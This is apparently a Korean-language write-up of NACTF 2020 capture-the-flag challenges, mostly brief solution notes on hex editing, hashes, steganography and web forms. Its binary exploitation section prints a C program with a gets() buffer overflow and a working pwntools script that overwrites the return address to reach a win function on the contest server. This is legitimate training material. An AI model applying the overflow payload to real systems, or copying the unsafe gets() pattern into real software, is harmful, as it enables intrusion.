[TOC]
NACTF2020 Writeup
Reverse Engineering
Generic Flag Checker 1
헥스 에디터를 이용하면 보임
Generic Flag Checker 2
gdb 돌리면 비교구문에서 플래그 뽑아줌
General Skills
Intro to Flags
고냥 알려줌
Basic
base64 decoding 하면 플래그 나옴
Grep o
리눅스 그렙 명령어를 쓰길 바란거 같음 하지만 그냥 메모장에서 Ctrl+F 해서 찾았음...
Numbers
다음과 같은 숫자 배열을 줌 ⇒ ascii 코드라고 생각 후 변환
다음과 같은 문자열 반환 ⇒ obdug 를 한칸 씩 밀면 nactf
이걸 몰라서 헤매다가 같이 풀던 형이 찾아줌 ㅎㅎ;;;
Hashbrowns
Hashbrowns 이름부터 hash 냄새가 폴폴 그 중에서도 md5해쉬 냄새가 폴폴
온라인 디코더 적당히 찾아서 디코딩 해주면 secure_password 문자열 반환 플래그 포맷인 nactf{}로 감싸주면 인증 성공
Arithmetic
숫자 크기와 더했을 때 작은 숫자 나오는 걸 보고 Integer Overflow를 생각I
32bit 넘어가게 해주고 하위 6bit를 42값인 101010으로 맞춰준디 10진수로 변환하고 빼주면 됨
Zip Madness
이름처럼 광기의 압축파일임
압축해제를 해보면 알겠지만 숫자는 압축을 얼마나 했는지고 direction.txt로 다음으로 어떤 파일을 압축해제해야할지 결정해줌.
import zipfile
import zlib
import subprocess
for i in range(1000,0,-1):
direction = subprocess.check_output(['cat', 'direction.txt']).decode()
zipf = str(i) + direction
subprocess.check_output(['unzip', '-o', zipf])
짧은 코드를 짜 해결할 수 있음
Binary Exploitation
Greeter
#include <stdio.h>
#include <stdlib.h>
void win() {
puts("congrats! here's your flag:");
char flagbuf[64];
FILE* f = fopen("./flag.txt", "r");
if (f == NULL) {
puts("flag file not found!");
exit(1);
}
fgets(flagbuf, 64, f);
fputs(flagbuf, stdout);
fclose(f);
}
int main() {
/* disable stream buffering */
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char name[64];
puts("What's your name?");
gets(name);
printf("Why hello there %s!\n", name);
return 0;
}
greeter.c 파일
name 버퍼는 64바이트인데 입력은 gets함수로 제한이 없음
BOF를 이용해 ret를 win()함수 주소로 덮으면 해결
from pwn import *
# p = process('./greeter')
p = remote('challenges.ctfd.io' ,30249)
win = 0x401220
payload = b'A'*0x48
payload += p64(win)
p.recvuntil('?')
p.sendline(payload)
p.interactive()
Forensics
Gummies
별다른 흔적이 보이지 않아 steghide를 돌리다가 왼쪽위에 작은 하얀 점들이 거슬렸음
전형적인 LSB 스테가노그래피 문제
Meta-morphosis
그냥 헥스로 여니까 나왔음 왜 이게 Gummy 문제보다 점수가 높지...?
Turnips
요 문제도 헥스로 여니까 나옴,,.
Secret Message
듣자마자 그냥 모스부호였음
이렇게 나왔는데 인증이 안되길래 u33n을 보고 혹시 queen이라는 단어에서 q가 잘린게 아닐까 하고 붙여보니 인증성공
Turnips 2
헥스 에디터로 열어보니 89로 시작하는거보고 아 png파일이네 싶었음
확장자와 헤더 시그니처를 맞춰줌. 그리고 바로 옆에 IHDR로 의심되는 청크가 있는걸로 보아 청크도 부셔논것 같았음
즉당히 고쳐주면 플래그 획득
Web
Inspect
style.css 소스코드에 주석으로 플래그
Missing Image
flag.png가 오려다가 404error와 함께 표시되질 않음
그래서 경로로 가서 찾아옴
Forms
문제에 1000이라는 숫자가 써져있는데 로그인 폼이 1000개 존재함 (정신나갈것같에)
함수 제일 마지막 부분을 보면 user == admin && pass == password123 이어야 함 하지만 1 ~ 1000 중 이 파라미터를 넘겨주는 폼은 한개밖에 존재하지 않음...
함수명으로 찾아보면 form 673에만 함수가 존재하는것을 확인할 수 있음
록으인